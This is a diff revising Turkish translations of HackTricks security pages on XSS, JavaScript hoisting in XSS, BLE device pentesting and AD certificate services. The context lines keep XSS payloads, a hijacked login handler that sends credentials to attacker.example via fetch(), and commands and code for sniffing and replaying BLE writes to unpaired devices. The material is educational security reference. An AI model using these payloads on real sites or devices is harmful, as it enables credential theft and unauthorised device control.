@@ -1623,11 +1625,11 @@ pdf-injection.md
 
 ### Amp4Email'de XSS
 
-AMP, mobil cihazlardaki web sayfası performansını hızlandırmayı amaçlayan; işlevselliği sağlamak için JavaScript ile desteklenen HTML etiketlerini içerir ve hız ile güvenliğe vurgu yapar. Çeşitli özellikler için bir dizi bileşeni destekler; bunlara [AMP components](https://amp.dev/documentation/components/?format=websites) üzerinden erişilebilir.
+AMP, mobil cihazlarda web sayfası performansını hızlandırmayı amaçlayan, işlevselliği sağlamak için JavaScript ile desteklenmiş HTML tag'larını içeren; hız ve güvenliğe vurgu yapan bir teknolojidir. Çeşitli özellikler için bir dizi bileşeni destekler; bunlara [AMP components](https://amp.dev/documentation/components/?format=websites) üzerinden erişilebilir.
 
-[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) formatı belirli AMP bileşenlerini e-postalara genişleterek alıcıların içerikle doğrudan e-postaları içinde etkileşimde bulunmalarını sağlar.
+[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) formatı belirli AMP bileşenlerini e-postalara genişleterek, alıcıların içerikle doğrudan e-postaları içinde etkileşime girmesini sağlar.
 
-Örnek [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
+Örnek: [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
 
 ### XSS dosya yükleme (svg)
 
@@ -1687,9 +1689,9 @@ id="foo"/>
 ```xml
 <svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />
 ```
-Daha fazla **SVG payloads için** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
+Daha fazla **SVG payloads için** bak: [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
 
-## Çeşitli JS Hileleri ve İlgili Bilgiler
+## Çeşitli JS Hileleri & İlgili Bilgiler
 
 
 {{#ref}}

src/pentesting-web/xss-cross-site-scripting/js-hoisting.md

@@ -2,31 +2,31 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Temel Bilgi
+## Temel Bilgiler
 
-JavaScript dilinde, değişkenlerin, fonksiyonların, class'ların veya imports'ın bildirimlerinin kod çalıştırılmadan önce kapsamlarının başına kavramsal olarak taşındığı **Hoisting** adlı bir mekanizma vardır. Bu süreç, JavaScript motoru tarafından otomatik olarak gerçekleştirilir; motor script'i birden fazla geçişte işler.
+JavaScript dilinde, değişken, fonksiyon, sınıf veya import bildirimlerinin kod çalıştırılmadan önce kapsamlarının en üstüne kavramsal olarak yükseltildiği **Hoisting** adlı bir mekanizma vardır. Bu süreç, script'i birden fazla geçişte işleyen JavaScript motoru tarafından otomatik olarak gerçekleştirilir.
 
-İlk geçişte motor, sözdizimi hatalarını kontrol etmek için kodu parse eder ve onu bir abstract syntax tree'ye dönüştürür. Bu aşama hoisting'i içerir; belirli bildirimlerin yürütme bağlamının en üstüne taşındığı bir işlemdir. Parse aşaması başarılı ve sözdizimi hatası yoksa script'in yürütülmesine devam edilir.
+İlk geçişte motor, sözdizimi hatalarını kontrol etmek için kodu parse eder ve onu bir soyut sözdizim ağacına (abstract syntax tree) dönüştürür. Bu aşama hoisting'i içerir; belirli bildirimlerin yürütme bağlamının en üstüne taşındığı bir süreçtir. Parse aşaması başarılı olup sözdizimi hatası yoksa script yürütülmesine devam edilir.
 
-Anlaşılması kritik olan noktalar:
+Şunu anlamak önemlidir:
 
-1. Yürütmenin gerçekleşmesi için script'in sözdizimi hatalarından arınmış olması gerekir. Sözdizimi kurallarına sıkı şekilde uyulmalıdır.
-2. Kodun script içindeki yerleşimi, hoisting nedeniyle yürütmeyi etkiler; çalıştırılan kod metinsel gösteriminden farklı olabilir.
+1. Script'in yürütülebilmesi için sözdizimi hatası içermemesi gerekir. Sözdizimi kurallarına kesinlikle uyulmalıdır.
+2. Kodun script içindeki yerleşimi hoisting nedeniyle yürütmeyi etkiler; yürütülen kod metinsel gösteriminden farklı olabilir.
 
-#### Types of Hoisting
+#### Hoisting Türleri
 
-MDN'den elde edilen bilgilere dayanarak, JavaScript'te dört ayrı hoisting türü vardır:
+MDN'den alınan bilgilere göre JavaScript'te dört farklı hoisting türü vardır:
 
-1. **Value Hoisting**: Bir değişkenin bildirim satırından önce kapsamı içinde değerinin kullanılmasına olanak tanır.
-2. **Declaration Hoisting**: Bir değişkenin bildiriminden önce kapsamı içinde referans verilmesine izin verir; `ReferenceError` oluşmaz ancak değişkenin değeri `undefined` olacaktır.
-3. Bu tür, değişkenin gerçek bildirim satırından önce bildirilmesi nedeniyle kapsam içindeki davranışı değiştirir.
-4. Deklarasyonun yan etkileri, onu içeren diğer kod değerlendirilmeden önce gerçekleşir.
+1. **Value Hoisting**: Bir değişkenin değerinin, deklarasyon satırından önce kapsamı içinde kullanılabilmesini sağlar.
+2. **Declaration Hoisting**: Bir değişkene deklarasyonundan önce kapsamı içinde başvurmayı `ReferenceError` oluşturmadan sağlar, ancak değişkenin değeri `undefined` olur.
+3. Bu tür, değişkenin gerçek deklarasyon satırından önce bildirilmiş gibi davranılmasından dolayı kapsam içindeki davranışı değiştirir.
+4. Bildirimin yan etkileri, onu içeren geri kalan kod değerlendirilmeden önce gerçekleşir.
 
-Detaylandırmak gerekirse, function bildirimleri type 1 hoisting davranışı gösterir. `var` anahtar kelimesi type 2 davranışı sergiler. `let`, `const` ve `class`'ı içeren lexical deklarasyonlar type 3 davranışını gösterir. Son olarak, `import` ifadeleri hem type 1 hem de type 4 davranışlarıyla hoist edilir.
+Detaylı olarak, function deklarasyonları type 1 hoisting davranışı gösterir. `var` anahtar kelimesi type 2 davranışı gösterir. Lexical deklarasyonlar, `let`, `const` ve `class` dahil, type 3 davranışı gösterir. Son olarak, `import` ifadeleri hem type 1 hem de type 4 davranışlarla hoisted oldukları için benzersizdir.
 
 ## Senaryolar
 
-Dolayısıyla, eğer bir undeclared object kullanıldıktan sonra **Inject JS code after an undeclared object** yapabileceğiniz senaryolarınız varsa, sözdizimini onu bildirerek **fix the syntax** yapabilirsiniz (böylece hata fırlatmak yerine kodunuz çalıştırılır):
+Bu nedenle, eğer kullanılmamış (undeclared) bir obje kullanıldıktan sonra JS kodu enjekte edebileceğiniz senaryolar varsa, onu bildirerek sözdizimini düzeltebilir (böylece hata fırlatmak yerine kodunuz çalıştırılır):
 ```javascript
 // The function vulnerableFunction is not defined
 vulnerableFunction('test', '<INJECTION>');
@@ -68,7 +68,7 @@ alert(1);
 test.cookie("leo", "INJECTION")
 test[("cookie", "injection")]
 ```
-## Diğer Senaryolar
+## Daha Fazla Senaryo
 ```javascript
 // Undeclared var accessing to an undeclared method
 x.y(1,INJECTION)
@@ -129,9 +129,9 @@ alert(1) -
 }
 trigger()
 ```
-### const ile bir adı kilitleyerek sonraki bildirimleri önleyin
+### const ile bir ismi kilitleyerek sonraki bildirimleri önleyin
 
-Eğer üst düzey (top-level) `function foo(){...}` ayrıştırılmadan önce çalıştırma şansınız varsa, aynı isimle bir leksikal bağlama (ör. `const foo = ...`) tanımlamak, sonraki fonksiyon bildiriminin o tanımlayıcıyı yeniden bağlamasını engeller. Bu, sayfada daha sonra tanımlanan kritik handler'ları RXSS ile hijack etmek için kötüye kullanılabilir:
+Eğer bir üst düzey `function foo(){...}` ayrıştırılmadan önce çalıştırma yapabiliyorsanız, aynı isimle leksikal bir bağlama tanımlamak (ör. `const foo = ...`) daha sonra gelen function bildirimlerinin o tanımlayıcıyı yeniden bağlamasını engeller. Bu, sayfada daha sonra tanımlanan kritik handler'ları ele geçirmek için RXSS'te kötüye kullanılabilir:
 ```javascript
 // Malicious code runs first (e.g., earlier inline <script>)
 const DoLogin = () => {
@@ -144,10 +144,10 @@ fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURICom
 function DoLogin(){ /* ... */ } // cannot override the existing const binding
 ```
 Notlar
-- Bu, yürütme sırasına ve global (üst seviye) kapsamına bağlıdır.
-- Eğer payload'unuz `eval()` içinde çalıştırılıyorsa, `eval` içindeki `const/let`'in blok kapsamlı (block-scoped) olduğunu ve global bağlamlar oluşturmayacağını unutmayın. Gerçek bir global `const` oluşturmak için kodu içeren yeni bir `<script>` elementi enjekte edin.
+- Bu, yürütme sırasına ve global (üst-seviye) kapsamına dayanır.
+- Eğer payload'unuz `eval()` içinde çalıştırılıyorsa, `eval` içindeki `const/let`'in blok kapsamlı olduğunu ve global bağlamlar oluşturmayacağını unutmayın. Gerçek bir global `const` oluşturmak için kodu içeren yeni bir `<script>` elementi enjekte edin.
 
-## Referanslar
+## Kaynaklar
 
 - [https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios](https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios)
 - [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)

src/todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md

@@ -4,19 +4,19 @@
 
 ## Giriş
 
-Bluetooth 4.0 spesifikasyonundan itibaren kullanılabilen BLE, 2400 ile 2483.5 MHz arasını kapsayan sadece 40 kanal kullanır. Buna karşılık, klasik Bluetooth aynı aralıkta 79 kanal kullanır.
+Bluetooth 4.0 spesifikasyonundan beri mevcut olan BLE, 2400 ile 2483.5 MHz aralığını kapsayan yalnızca 40 kanal kullanır. Buna karşılık, geleneksel Bluetooth aynı aralıkta 79 kanal kullanır.
 
-BLE cihazları, **advertising paketleri** (**beacon'lar**) göndererek haberleşir; bu paketler BLE cihazının varlığını yakındaki diğer cihazlara ilan eder. Bu beacon'lar bazen **veri gönderir** de.
+BLE cihazları, **advertising packets** (**beacons**) göndererek iletişim kurar; bu paketler BLE cihazının varlığını yakındaki diğer cihazlara yayınlar. Bu beacons bazen ayrıca **send data** de yapar.
 
-Dinleyen cihaz, aynı zamanda merkezi cihaz (central device) olarak da adlandırılır, belirli bir advertising cihazına gönderilen bir **SCAN request** ile bir advertising paketine yanıt verebilir. Bu tarama için verilen **response**, ilk advertising isteğine sığmayan tam cihaz adı gibi ek bilgileri içerecek şekilde **advertising** paket ile aynı yapıyı kullanır.
+Dinleyen cihaz, merkezi cihaz olarak da adlandırılan, advertising paketine özellikle reklam gönderen cihaza gönderilen bir **SCAN request** ile cevap verebilir. O taramaya verilen **response**, başlangıçtaki advertising isteğine sığmayan ek bilgilerle, örneğin tam cihaz adı gibi, aynı yapıyı kullanır.
 
 ![](<../../images/image (152).png>)
 
-Preamble baytı frekansı senkronize ederken, dört baytlık access address bir **connection identifier**dır; aynı kanallarda birden fazla cihazın bağlantı kurmaya çalıştığı senaryolarda kullanılır. Ardından Protocol Data Unit (**PDU**) **advertising data**'yı içerir. Birden fazla PDU türü vardır; en yaygın kullanılanlar ADV_NONCONN_IND ve ADV_IND'dir. Cihazlar **ADV_NONCONN_IND** PDU türünü, **bağlantı kabul etmezlerse** kullanır; bu durumda veri yalnızca advertising paketinde iletilir. Cihazlar **ADV_IND**'i **bağlantılara izin veriyorlarsa** ve bir **connection** kurulduktan sonra **advertising** paket göndermeyi **durduruyorlarsa** kullanır.
+Preamble byte frekansı senkronize ederken, dört baytlık access address bir **connection identifier**dır; bu, birden fazla cihazın aynı kanallarda bağlantı kurmaya çalıştığı senaryolarda kullanılır. Ardından, Protocol Data Unit (**PDU**) **advertising data** içerir. Birkaç PDU türü vardır; en yaygın kullanılanlar ADV_NONCONN_IND ve ADV_IND'dir. Cihazlar **ADV_NONCONN_IND** PDU türünü, **don’t accept connections** durumunda kullanır; böylece yalnızca advertising paketinde veri iletirler. Cihazlar **ADV_IND** kullanırsa **allow connections** eder ve bir **connection** **established** olduğunda **stop sending advertising** paketlerini gönderirler.
 
 ### GATT
 
-**Generic Attribute Profile** (GATT), **cihazın veriyi nasıl biçimlendirmesi ve transfer etmesi gerektiğini** tanımlar. Bir BLE cihazının attack surface'ini analiz ederken genellikle GATT'e (veya GATT'lara) odaklanırsınız; çünkü cihaz fonksiyonelliğinin nasıl **tetiklendiğini** ve verilerin nasıl saklandığını, gruplanıp değiştirildiğini gösterir. GATT, bir cihazın characteristics, descriptors ve services öğelerini 16- veya 32-bitlik değerler olarak bir tabloda listeler. Bir **characteristic**, merkezi cihaz ile peripheral arasında **gönderilen** bir **veri** değeridir. Bu characteristic'ler, onlar hakkında **ek bilgi sağlayan** **descriptors** içerebilir. **Characteristics**, belirli bir işlemi gerçekleştirmeye yönelik ilişkili olduklarında sıklıkla **services** içinde **gruplandırılır**.
+The **Generic Attribute Profile** (GATT), **device should format and transfer data** konusunu tanımlar. Bir BLE cihazının attack surface’ını analiz ederken genellikle dikkatiniz GATT (veya GATTs) üzerinde yoğunlaşır, çünkü cihaz fonksiyonlarının nasıl **device functionality gets triggered** edildiği ve verilerin nasıl saklandığı, gruplandığı ve değiştirildiği buradan anlaşılır. GATT, bir cihazın characteristics, descriptors ve services öğelerini 16 veya 32 bit değerler halinde bir tabloda listeler. Bir **characteristic**, central device ile peripheral arasında **sent** edilen bir **data** değeridir. Bu özelliklerin kendileri hakkında ek bilgi sağlayan **descriptors** olabilir. İlgili bir eylemi gerçekleştirmek için ilişkiliyseler, **Characteristics** genellikle **grouped** olarak **services** içinde organize edilir.
 
 ## Keşif
 ```bash
@@ -30,8 +30,8 @@ spooftooph -i hci0 -a 11:22:33:44:55:66
 ```
 ### GATTool
 
-**GATTool** başka bir cihazla **bağlantı kurmayı**, o cihazın **özelliklerini** listelemeyi ve özniteliklerini okuma ve yazma işlemlerine olanak tanır.\
-GATTTool `-I` seçeneği ile etkileşimli bir shell başlatabilir:
+**GATTool** başka bir cihazla **bağlantı kurmaya**, o cihazın **özelliklerini** listelemeye ve niteliklerini okumaya ve yazmaya olanak tanır.\
+GATTTool, `-I` seçeneği ile etkileşimli bir kabuk başlatabilir:
 ```bash
 gatttool -i hci0 -I
 [ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
@@ -64,15 +64,15 @@ sudo bettercap --eval "ble.recon on"
 >> ble.write <MAC ADDR> <UUID> <HEX DATA>
 >> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
 ```
-## Sniffing ve eşleşmemiş BLE cihazlarını aktif olarak kontrol etme
+## Sniffing ve eşleştirilmemiş BLE cihazlarını aktif olarak kontrol etme
 
-Birçok düşük maliyetli BLE çevrebirim pairing/bonding uygulamaz. Bonding olmadığında Link Layer encryption hiç etkinleştirilmez, bu yüzden ATT/GATT trafiği cleartext halinde olur. Bir off-path sniffer bağlantıyı takip edebilir, GATT operations'ı decode ederek characteristic handles ve values öğrenebilir; yakındaki herhangi bir host daha sonra bağlanıp bu writes'ları replay ederek cihazı kontrol edebilir.
+Birçok düşük maliyetli BLE çevrebirimi pairing/bonding'i zorunlu kılmaz. Bonding yoksa Link Layer encryption hiçbir zaman etkinleştirilmez, bu nedenle ATT/GATT trafiği cleartext halindedir. Bir off-path sniffer bağlantıyı takip edip GATT operasyonlarını decode ederek characteristic handle'larını ve value'larını öğrenebilir; yakınlardaki herhangi bir host daha sonra bağlanıp bu yazmaları replay ederek cihazı kontrol edebilir.
 
-### Sniffing with Sniffle (CC26x2/CC1352)
+### Sniffle ile Sniffing (CC26x2/CC1352)
 
-Hardware: Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352), NCC Group’ın Sniffle firmware’i ile yeniden flashlendi.
+Donanım: NCC Group’un Sniffle firmware'i ile yeniden flashlenen Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352).
 
-Install Sniffle and its Wireshark extcap on Linux:
+Linux'ta Sniffle ve Wireshark extcap'ını kurun:
 ```bash
 if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
 echo "[+] - Sniffle not installed! Installing at 1.10.0..."
@@ -91,7 +91,7 @@ else
 echo "[+] - Sniffle already installed at 1.10.0"
 fi
 ```
-Flash Sonoff with Sniffle firmware (seri cihazınızın doğru olduğundan emin olun, örn. /dev/ttyUSB0):
+Sonoff'u Sniffle firmware ile flash'layın (seri cihazınızın eşleştiğinden emin olun, örn. /dev/ttyUSB0):
 ```bash
 pushd /opt/sniffle/
 wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
@@ -104,13 +104,13 @@ python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc
 deactivate
 popd
 ```
-Wireshark'ta Sniffle extcap üzerinden yakalayın ve filtreleyerek hızla state-changing writes'e pivot yapın:
+Wireshark'ta Sniffle extcap ile capture alın ve filtreleyerek state-changing writes'e hızlıca pivot yapın:
 ```text
 _ws.col.info contains "Sent Write Command"
 ```
-Bu, client'tan gelen ATT Write Commands'i vurgular; handle ve value genellikle doğrudan cihaz eylemlerine eşlenir (ör. buzzer/alert characteristic'a 0x01 yazmak, durdurmak için 0x00).
+Bu, client'tan gelen ATT Write Commands'i vurgular; handle ve value genellikle doğrudan cihaz eylemlerine karşılık gelir (ör. buzzer/alert characteristic'ına 0x01 yazmak, durdurmak için 0x00).
 
-Sniffle CLI hızlı örnekler:
+Sniffle CLI için hızlı örnekler:
 ```bash
 python3 scanner.py --output scan.pcap
 # Only devices with very strong signal
@@ -118,18 +118,18 @@ python3 scanner.py --rssi -40
 # Filter advertisements containing a string
 python3 sniffer.py --string "banana" --output sniff.pcap
 ```
-Alternatif sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin de çalışır. Küçük/ucuz Nordic dongle'larda genellikle USB bootloader'ı ezip sniffer firmware'i yüklersiniz, bu yüzden ya özel bir sniffer dongle tutarsınız ya da bootloader'ı sonradan geri yüklemek için bir J-Link/JTAG gerekir.
+Alternatif sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin de çalışır. Küçük/ucuz Nordic dongle'larda genellikle sniffer firmware'ini yüklemek için USB bootloader'ı üzerine yazarsınız; bu yüzden ya özel bir sniffer dongle saklamanız ya da bootloader'ı sonradan geri yüklemek için bir J-Link/JTAG gerekir.
 
 ### GATT üzerinden aktif kontrol
 
-Sniffed trafikten yazılabilir bir characteristic handle ve value tespit ettikten sonra, herhangi bir central olarak bağlanıp aynı write'ı gönderin:
+Sniff edilen trafikten yazılabilir bir characteristic handle ve değeri tespit ettikten sonra, herhangi bir central olarak bağlanıp aynı write'ı gönderin:
 
 - Nordic nRF Connect for Desktop (BLE app) ile:
-- nRF52/nRF52840 dongle'ı seçin, tara ve hedefe bağlanın.
-- GATT veritabanında gezin, hedef characteristic'ı bulun (çoğunlukla kullanıcı dostu bir isim olur, örn. Alert Level).
+- nRF52/nRF52840 dongle'ı seçin, scan yapın ve hedefe connect olun.
+- GATT database'ini gezin, hedef characteristic'ı bulun (genellikle dostça bir isim taşır, örn. Alert Level).
 - Sniffed byte'larla bir Write gerçekleştirin (örn. tetiklemek için 01, durdurmak için 00).
 
-- Windows'ta Python + blatann kullanarak Nordic dongle ile otomatikleştirin:
+- Windows'ta bir Nordic dongle ile Python + blatann kullanarak otomatikleştirin:
 ```python
 import time
 import blatann
@@ -169,11 +169,11 @@ peer.disconnect()
 peer.wait_for_disconnect()
 ble_device.close()
 ```
-### Operasyonel notlar ve önlemler
+### Operasyonel notlar ve hafifletmeler
 
-- Kanal atlama ve bağlantı takibi için Linux üzerinde Sonoff+Sniffle'i tercih edin. Yedek olarak bir Nordic sniffer bulundurun.
-- Eşleştirme/bağlama olmadan, çevredeki herhangi bir saldırgan yazmaları gözlemleyebilir ve kimlik doğrulaması olmayan yazılabilir characteristics'lara kendi yazmalarını yeniden oynatabilir/üretebilir.
-- Önlemler: eşleştirme/bağlama ve şifrelemeyi zorunlu kılın; characteristic izinlerini kimlik doğrulamalı yazmaları gerektirecek şekilde ayarlayın; kimlik doğrulaması olmayan yazılabilir characteristics'ları en aza indirin; GATT ACL'lerini Sniffle/nRF Connect ile doğrulayın.
+- Kanal atlaması ve bağlantı takibi için sağlam performans amacıyla Linux üzerinde Sonoff+Sniffle tercih edin. Yedek olarak bir Nordic sniffer bulundurun.
+- pairing/bonding olmadan, çevredeki herhangi bir saldırgan yazma işlemlerini gözlemleyebilir ve kimlik doğrulanmamış writable characteristics'a kendi yazmalarını replay/oluşturabilir.
+- Hafifletmeler: pairing/bonding zorunlu kılın ve şifrelemeyi uygulayın; characteristic izinlerini authenticated writes gerektirecek şekilde ayarlayın; kimlik doğrulanmamış writable characteristics'ları en aza indirin; GATT ACLs'i Sniffle/nRF Connect ile doğrulayın.
 
 ## References
 

src/windows-hardening/active-directory-methodology/ad-certificates/README.md

@@ -7,101 +7,101 @@
 ### Bir Sertifikanın Bileşenleri
 
 - **Subject** sertifikanın sahibini belirtir.
-- Bir **Public Key**, sertifikayı gerçek sahibine bağlamak için özel tutulan bir anahtar ile eşleştirilir.
-- **Validity Period**, **NotBefore** ve **NotAfter** tarihleriyle tanımlanır ve sertifikanın geçerli olduğu süreyi gösterir.
-- Her sertifikayı tanımlayan benzersiz bir **Serial Number**, Certificate Authority (CA) tarafından sağlanır.
+- Bir **Public Key**, sertifikayı gerçek sahibine bağlamak için özel olarak tutulan bir anahtar ile eşleştirilir.
+- **Validity Period**, **NotBefore** ve **NotAfter** tarihlerince tanımlanan sertifikanın geçerli olduğu süredir.
+- Benzersiz bir **Serial Number**, Sertifika Yetkilisi (CA) tarafından sağlanır ve her sertifikayı tanımlar.
 - **Issuer**, sertifikayı düzenleyen CA'yı ifade eder.
-- **SubjectAlternativeName** konu için ek isimlere izin vererek tanımlama esnekliğini artırır.
-- **Basic Constraints**, sertifikanın bir CA için mi yoksa bir uç varlık için mi olduğunu belirler ve kullanım kısıtlamalarını tanımlar.
-- **Extended Key Usages (EKUs)**, Object Identifier'lar (OIDs) aracılığıyla sertifikanın kod imzalama veya e-posta şifreleme gibi belirli amaçlarını belirtir.
-- **Signature Algorithm**, sertifikanın imzalanma yöntemini belirtir.
-- **Signature**, sertifikanın gerçekliğini garanti etmek için issuer'ın özel anahtarıyla oluşturulur.
+- **SubjectAlternativeName** konu için ek adlar izin vererek tanımlama esnekliğini artırır.
+- **Basic Constraints** sertifikanın bir CA mı yoksa son nokta varlık mı olduğunu ve kullanım kısıtlamalarını tanımlar.
+- **Extended Key Usages (EKUs)**, Object Identifier (OID) aracılığıyla kod imzalama veya e-posta şifreleme gibi sertifikanın özel amaçlarını belirtir.
+- **Signature Algorithm** sertifikanın imzalanma yöntemini belirtir.
+- **Signature**, düzenleyenin özel anahtarı ile oluşturularak sertifikanın doğruluğunu garanti eder.
 
 ### Özel Hususlar
 
-- **Subject Alternative Names (SANs)** bir sertifikanın birden çok kimliğe uygulanabilirliğini genişletir; çoklu alan adlarına sahip sunucular için kritiktir. SAN tanımının kötüye kullanılmasını önlemek için güvenli sertifika verme süreçleri çok önemlidir; aksi takdirde saldırganlar taklit riskine yol açabilir.
+- **Subject Alternative Names (SANs)** bir sertifikanın birden çok kimliğe uygulanmasını sağlar; birden fazla domaine sahip sunucular için kritiktir. SAN tanımının kötüye kullanımıyla saldırganların taklit riskini önlemek için güvenli sertifika verme süreçleri hayati öneme sahiptir.
 
-### Active Directory (AD) İçindeki Certificate Authorities (CAs)
+### Active Directory (AD) İçindeki Sertifika Yetkilileri (CAs)
 
-AD CS, bir AD ormanında CA sertifikalarını belirli konteynerler aracılığıyla tanır; her biri farklı rollere hizmet eder:
+AD CS, AD ormanındaki CA sertifikalarını belirlenmiş konteynerler aracılığıyla tanır; her biri farklı roller sağlar:
 
-- **Certification Authorities** container, güvenilen root CA sertifikalarını tutar.
-- **Enrolment Services** container, Enterprise CAs ve onların certificate templates bilgilerini içerir.
-- **NTAuthCertificates** objesi, AD kimlik doğrulaması için yetkilendirilmiş CA sertifikalarını içerir.
-- **AIA (Authority Information Access)** container, ara ve cross CA sertifikaları ile sertifika zinciri doğrulamasını kolaylaştırır.
+- **Certification Authorities** konteyneri güvenilen root CA sertifikalarını tutar.
+- **Enrolment Services** konteyneri Enterprise CAs ve bunların sertifika şablonları hakkında ayrıntı içerir.
+- **NTAuthCertificates** nesnesi AD kimlik doğrulaması için yetkilendirilmiş CA sertifikalarını içerir.
+- **AIA (Authority Information Access)** konteyneri, ara ve çapraz CA sertifikaları ile sertifika zinciri doğrulamasını kolaylaştırır.
 
 ### Sertifika Edinimi: İstemci Sertifika İsteği Akışı
 
-1. Süreç, istemcilerin bir Enterprise CA bulmasıyla başlar.
-2. Bir public-private anahtar çifti oluşturulduktan sonra bir CSR (Certificate Signing Request) oluşturulur; bu CSR içinde bir public key ve diğer bilgiler bulunur.
-3. CA, CSR'yi mevcut certificate templates ile karşılaştırır ve şablonun izinlerine göre sertifikayı yayınlar.
-4. Onaylandıktan sonra CA, sertifikayı kendi özel anahtarıyla imzalar ve istemciye geri gönderir.
+1. İstek süreci, istemcilerin bir Enterprise CA bulmasıyla başlar.
+2. Bir CSR, bir public-private anahtar çifti oluşturulduktan sonra public key ve diğer bilgileri içerecek şekilde oluşturulur.
+3. CA, CSR'yi mevcut sertifika şablonlarına göre değerlendirir ve şablonun izinlerine bağlı olarak sertifikayı verir.
+4. Onaylandığında, CA sertifikayı kendi özel anahtarıyla imzalar ve istemciye döner.
 
-### Certificate Templates
+### Sertifika Şablonları
 
-AD içinde tanımlanan bu şablonlar, hangi EKU'ların izinli olduğu, kayıt veya değişiklik hakları gibi sertifika yayınlama ayarları ve izinlerini belirler; bu, sertifika hizmetlerine erişimin yönetimi için kritiktir.
+AD içinde tanımlanan bu şablonlar, sertifika verme ayarlarını ve izinlerini (izin verilen EKU'lar, kayıt veya değişiklik hakları gibi) belirler; sertifika hizmetlerine erişimi yönetmek için kritiktir.
 
-## Sertifika Kaydı
+## Sertifika Kaydı (Enrollment)
 
-Sertifikalar için kayıt süreci, bir yönetici tarafından **bir certificate template oluşturulması** ile başlatılır; bu template daha sonra bir Enterprise Certificate Authority (CA) tarafından **yayınlanır**. Bu, template'in istemci kayıtları için kullanılabilir olmasını sağlar ve genellikle Active Directory nesnesinin `certificatetemplates` alanına şablonun adının eklenmesiyle gerçekleştirilir.
+Sertifikalar için kayıt süreci, bir yönetici tarafından **bir sertifika şablonu oluşturulması** ile başlatılır; bu şablon daha sonra bir Enterprise Certificate Authority (CA) tarafından **yayınlanır**. Bu, şablonu istemci kaydı için kullanılabilir hale getirir; bu adım, şablonun adının bir Active Directory nesnesinin `certificatetemplates` alanına eklenmesiyle gerçekleştirilir.
 
-Bir istemcinin sertifika talep edebilmesi için **enrollment rights** verilmiş olmalıdır. Bu haklar, certificate template üzerindeki ve Enterprise CA'nin kendisindeki security descriptor'lar tarafından tanımlanır. Bir isteğin başarılı olması için izinlerin her iki yerde de verilmiş olması gerekir.
+Bir istemcinin sertifika talep edebilmesi için **enrollment rights** verilmiş olmalıdır. Bu haklar, sertifika şablonu ve Enterprise CA üzerindeki güvenlik descriptor'larıyla tanımlanır. Bir isteğin başarılı olabilmesi için izinlerin her iki yerde de verilmiş olması gerekir.
 
 ### Şablon Kayıt Hakları
 
-Bu haklar Access Control Entry (ACE) üzerinden belirtilir ve şu izinleri içerebilir:
+Bu haklar Access Control Entry (ACE) aracılığıyla belirtilir ve şu izinleri içerebilir:
 
 - **Certificate-Enrollment** ve **Certificate-AutoEnrollment** hakları, her biri belirli GUID'lerle ilişkilidir.
-- **ExtendedRights**, tüm genişletilmiş izinlere olanak tanır.
+- **ExtendedRights**, tüm genişletilmiş izinlere izin verir.
 - **FullControl/GenericAll**, şablon üzerinde tam kontrol sağlar.
 
 ### Enterprise CA Kayıt Hakları
 
-CA'nın hakları, Certificate Authority yönetim konsolu aracılığıyla erişilebilen security descriptor'da belirtilir. Bazı ayarlar düşük ayrıcalıklı kullanıcılara uzaktan erişim izni verebilir; bu durum bir güvenlik endişesi oluşturabilir.
+CA'nın hakları, Certificate Authority yönetim konsolu üzerinden erişilebilen güvenlik descriptor'unda özetlenir. Bazı ayarlar, düşük ayrıcalıklı kullanıcılara bile uzaktan erişim sağlayabilecek şekilde yapılandırılabilir; bu bir güvenlik endişesi olabilir.
 
-### Ek Yayınlama Kontrolleri
+### Ek Veriliş Kontrolleri
 
 Bazı kontroller uygulanabilir, örneğin:
 
-- **Manager Approval**: Talepleri bir certificate manager onaylayana kadar bekleyen durumda tutar.
-- **Enrolment Agents and Authorized Signatures**: Bir CSR üzerinde gereken imza sayısını ve gerekli Application Policy OID'lerini belirtir.
+- **Manager Approval**: Talepleri onaylanana kadar beklemede bırakır.
+- **Enrolment Agents ve Authorized Signatures**: Bir CSR üzerinde gerekli imza sayısını ve gerekli Application Policy OID'lerini belirtir.
 
-### Sertifika İstem Yöntemleri
+### Sertifika İsteme Yöntemleri
 
-Sertifikalar şu yollarla istenebilir:
+Sertifikalar şu yollarla talep edilebilir:
 
 1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE), DCOM arayüzleri kullanılarak.
 2. **ICertPassage Remote Protocol** (MS-ICPR), named pipes veya TCP/IP üzerinden.
-3. Certificate Authority Web Enrollment rolü yüklü ise **certificate enrollment web interface** üzerinden.
+3. **certificate enrollment web interface**, Certificate Authority Web Enrollment rolü yüklüyken.
 4. **Certificate Enrollment Service** (CES), Certificate Enrollment Policy (CEP) servisi ile birlikte.
-5. Network cihazları için **Network Device Enrollment Service** (NDES) ve Simple Certificate Enrollment Protocol (SCEP) kullanılarak.
+5. **Network Device Enrollment Service** (NDES) için network cihazları, Simple Certificate Enrollment Protocol (SCEP) kullanılarak.
 
